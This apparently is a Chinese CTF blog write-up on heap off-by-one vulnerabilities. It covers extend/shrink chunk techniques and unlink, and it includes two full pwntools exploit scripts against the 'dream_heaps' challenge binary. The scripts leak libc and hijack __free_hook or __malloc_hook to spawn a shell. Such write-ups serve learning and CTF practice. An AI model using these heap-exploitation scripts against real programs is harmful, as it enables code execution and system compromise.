OFF_BY_ONE

OFF_BY_ONE

start

做了挺多 off by one 有点感悟总结一下.
在此感谢楠姐@Keenan的关于shrink+unlink的思路
以及xman时张燕秒老师关于off_by_one的启蒙

漏洞原理

溢出漏洞,但是又非常有限制只有溢出一个字节,而在一般off by one情况下溢出的往往是null_byte:\x00.
本文仅讨论heap 上出现的off by one

导致漏洞的情况非常多,我在这里列出在ctf比赛中最常见的几种情况:

  • Case I:

    1
    2
    3
    char *buf=malloc(0x88);
    unsigned int n=read(0,buf,0x88)
    buf[n]=0;
  • Case II:

    1
    2
    3
    char *buf=malloc(size);
    read(0,buf,size)
    buf[size]=0
  • Case III
    #此处不只有溢出1字节可操作性也很大.

    1
    2
    unsigned int n=strlen(chunk_ptr);
    read(0,chunk_ptr,n);

比较安全的话输入可以使用fgets虽然我做题目的时候非常讨厌看到它.

攻击原理

主要漏洞的成因是我们可以溢出一个字节,但是那个字节在ptmalloc中又非常的重要,涉及到了 chunksize ,inuse.所以我们主要从chunksizeinuse来设计我们的攻击方式

chunksize

chunksize的修改可以分为两种 extendshrink
//图片是在xmanppt里面偷来的.

extend

要求比较高但是利用起来简单.
要求对溢出的那一个字节不为null byte这样就可以拓展chunk
常见的利用方式有两个free + modifymodify + free

free + modify

free+modify

  • 先free 进入unsorted bin 之后改变 size 以达到overlap的或者overflow的目的

modify + free

free+modify

改变现有chunk B的size free之后再malloc回来就可以控制其之后的chunk

shrink

shrink要求不是很高只要 有null byte off就可以实现攻击 主要对inuse方面的操作 涉及到了unlink

free+modify

free+modify

通用的攻击流程如上图通过控制pre_sizepre_inuse来欺骗程序完成unlink造成overlap
其实理解了也不是非常难感觉很奇妙的利用方法,非常好用,膜一波想出来的神仙.

shrink其实还有一种简单的做法在某些场景非常的好用.

条件:已知chunk_list地址或者已知heap地址
设置好前一个chunk内容为

1
p64(0x0)+p64(size-0x10)+p64(&ptr-0x18)+p64(&ptr-0x10)+...+p64(0xsize-0x10)

这样可以直接通过set pre_size来做unlink使得*ptr=&ptr-0x18

在某些可以edit的题目中非常好用没有edit的话比较难实现利用.

构造一般shrink

1
2
3
4
5
6
7
8
9
10
add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0x18,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

Deam_heap

题目保护

1
2
3
4
5
6
[*] '/home/n132/Desktop/Dream_heap/dream_heaps'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

由于extend的攻击比较简单就不放例子了用以下的binary来作为off_by_one的例子
binary

题目漏洞挺多

  • index类型有问题可以通过某些构造打成任意地址写或者free
  • index上界不限导致多次创建后覆盖到了size区域导致溢出但是因为edit里的那行off by one使得比较难利用,之后也没有深究
  • edit 中存在 off_by_one

思路

  • 泄露比较直接可以通过free到unsortedbin中然后leak出来
  • off_by_one利用也比较直接因为没有开PIElist也存在bss上;像是上文所说两种方法都可以
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    from pwn import *
    def cmd(c):
    p.sendlineafter("> ",str(c))
    def add(size,c):
    cmd(1)
    p.sendlineafter("eam?\n",str(size))
    p.sendafter("eam?\n",c)
    def free(idx):
    cmd(4)
    p.sendlineafter("te?\n",str(idx))
    def edit(idx,c):
    cmd(3)
    p.sendlineafter("ge?\n",str(idx))
    p.send(c)
    def show(idx):
    cmd(2)
    p.sendlineafter("ad?\n",str(idx))
    p=process('./dream_heaps')
    add(0x88,"A")#0
    add(0x88,"B")#1
    free(0)
    add(0x88,"A")#2
    show(2)
    base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd1b41-0x00007ffff7a0d000)
    log.warning(hex(base))
    libc=ELF("./dream_heaps").libc
    libc.address=base
    add(0xf8,"A")#3
    add(0x88,"/bin/sh")#4
    edit(1,p64(0)+p64(0x81)+p64(0x6020a8-0x18)+p64(0x6020a8-0x10)+p64(0)*12+p64(0x80))
    free(3)
    edit(1,p64(0)*2+p64(libc.symbols['__free_hook']))
    edit(0,p64(libc.symbols['system']))
    gdb.attach(p)
    p.interactive()

shrink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def add(size,c):
cmd(1)
p.sendlineafter("eam?\n",str(size))
p.sendafter("eam?\n",c)
def free(idx):
cmd(4)
p.sendlineafter("te?\n",str(idx))
def edit(idx,c):
cmd(3)
p.sendlineafter("ge?\n",str(idx))
p.send(c)
def show(idx):
cmd(2)
p.sendlineafter("ad?\n",str(idx))
#context.log_level='debug'
p=process('./dream_heaps')
add(0x88,"A")#0
add(0x88,"B")#1
free(0)
add(0x88,"A")#2
show(2)
base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd1b41-0x00007ffff7a0d000)
log.warning(hex(base))
libc=ELF("./dream_heaps").libc
libc.address=base

add(0x3f0,"A")#3
add(0x400,"A")#4
add(0x288,"A")#5
free(3)
free(1)
add(0x68,"A")#6
edit(6,"A")
add(0x88,"B1")#7
add(0x68,'B2')#8
free(7)
free(4)
add(0x2d8,"A")#9
free(8)
add(0xa8,p64(0)*17+p64(0x71)+p64(libc.symbols['__malloc_hook']-35))#10
add(0x68,"A")#11
one=base+0xf02a4
add(0x68,"\x00"*19+p64(one))#12
gdb.attach(p)
free(12)
p.interactive()

可以看出在已知chunk_ptr地址时且有edit功能利用unlink可以降低攻击复杂度加快exp完成速度.
这里再次感谢楠姐@keenan

拓展阅读

storm

Author: n132!
Link: https://n132.github.io/2019/04/11/2019-04-11-Off-by-one/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.